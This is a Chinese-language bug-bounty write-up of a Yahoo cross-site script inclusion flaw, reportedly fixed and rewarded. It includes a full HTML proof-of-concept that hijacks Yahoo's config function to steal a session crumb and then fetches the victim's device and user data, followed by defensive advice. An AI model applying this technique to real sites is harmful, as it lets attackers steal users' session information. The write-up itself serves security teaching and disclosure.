挖洞经验 | 看我如何发现雅虎XSSi漏洞实现用户信息窃取
字数 1147 2025-08-18 11:37:28
雅虎XSSi漏洞分析与利用教学文档
1. XSSi漏洞概述
跨站脚本包含漏洞(XSSi, Cross-Site Script Inclusion)是一种允许攻击者绕过同源策略(SOP)窃取特定类型数据的安全漏洞。其核心原理是利用<script>标记的src属性突破同源策略限制,因为浏览器不会阻止网页加载来自第三方域的脚本资源。
1.1 XSSi与XSS的区别
- XSS:在目标网站注入恶意脚本,影响该网站的用户
- XSSi:在自己的恶意页面包含目标网站的脚本,窃取目标网站用户数据
1.2 XSSi的危害
- 个人存储信息泄露
- token保护机制绕过
- 账户劫持
- 会话信息窃取
2. 漏洞发现过程
2.1 发现JSONP端点
在雅虎漏洞众测项目中,通过BurpSuite抓包分析发现以下请求:
https://jsapi.login.yahoo.com/w/device_users?.crumb=POR1.kRjsx
这是一个JSONP(JSON with Padding)服务端点,当.crumb参数无效时,响应如下:
{"error":{"description":"Invalid crumb"}}
2.2 关键信息定位
在动态JavaScript文件中发现敏感信息:
https://messenger.yahoo.com/embed/app.js
该文件包含用户的logoutCrumb值(漏洞修复后已移除),这是一个与用户session和身份验证相关的随机字符串。
3. 漏洞利用原理
3.1 攻击流程
- 受害者访问恶意网页
- 恶意网页加载雅虎的
app.js脚本 - 从脚本中提取有效的
.crumb值 - 使用该
.crumb值构造请求获取用户session信息
3.2 同源策略绕过
浏览器允许跨域加载脚本资源,但不允许直接读取脚本内容。通过精心构造的JavaScript代码,可以间接获取脚本中包含的敏感信息。
4. PoC代码分析
<html>
<head>
<title>Yahoo XSSi PoC</title>
</head>
<body>
<!-- 结果显示区域 -->
<div style="width: 60%; margin-right: auto; margin-left: auto; margin-bottom: 30px;">
<h1 style="text-align: center;">Proof of Concept</h1>
<b>Dataset 1:</b>
<div id="content1" style="width: 100%; border: 1px solid black; padding: 10px; overflow: scroll; font-family: monospace;"></div>
<br/>
<b>Dataset 2:</b>
<div id="content2" style="width: 100%; border: 1px solid black; padding: 10px; overflow: scroll; font-family: monospace;"></div>
</div>
<script>
// 处理device_users返回的数据
function processDeviceUsers(data) {
document.getElementById("content1").innerHTML = JSON.stringify(data);
}
window.onload = function () {
var config = {};
config_data = {};
// 劫持雅虎的配置合并函数
config.merge = function(data) {
config_data = data
};
// 初始化配置,实际是窃取数据
iris.initConfig(config);
// 显示窃取的配置数据
document.getElementById("content2").innerHTML = JSON.stringify(config_data);
// 构造恶意请求
var src = "https://jsapi.login.yahoo.com/w/device_users?.crumb=" + config_data.session.logoutCrumb;
var s = document.createElement('script');
s.setAttribute('src', src);
document.body.appendChild(s);
}
</script>
<!-- 加载目标站点的JS文件 -->
<script src="https://messenger.yahoo.com/embed/app.js"></script>
<script src="https://code.jquery.com/jquery-3.3.1.min.js"></script>
</body>
</html>
4.1 关键点解析
- 配置劫持:通过重写
config.merge函数,窃取雅虎应用的配置数据 - 数据提取:从配置数据中获取
logoutCrumb值 - 恶意请求构造:使用窃取的
.crumb值构造API请求 - 结果展示:将窃取的数据显示在页面上
5. 防御措施
5.1 对开发者的建议
- 避免使用JSONP:改用CORS实现跨域请求
- 敏感信息保护:不要将session token等敏感信息放在公开JS文件中
- 输入验证:对所有输入参数进行严格验证
- CSRF Token:使用一次性token并验证来源
5.2 对企业的建议
- 安全编码培训:提高开发人员安全意识
- 自动化扫描:在CI/CD流程中加入安全扫描
- 漏洞奖励计划:鼓励白帽黑客报告漏洞
6. 总结
本案例展示了如何通过XSSi漏洞窃取用户敏感信息。关键在于:
- 发现包含敏感信息的JSONP端点或JS文件
- 理解目标网站的数据流和函数调用方式
- 构造恶意页面劫持数据
- 利用窃取的信息发起进一步攻击
该漏洞获得了雅虎750美元的漏洞奖励,证明了其严重性和实际影响。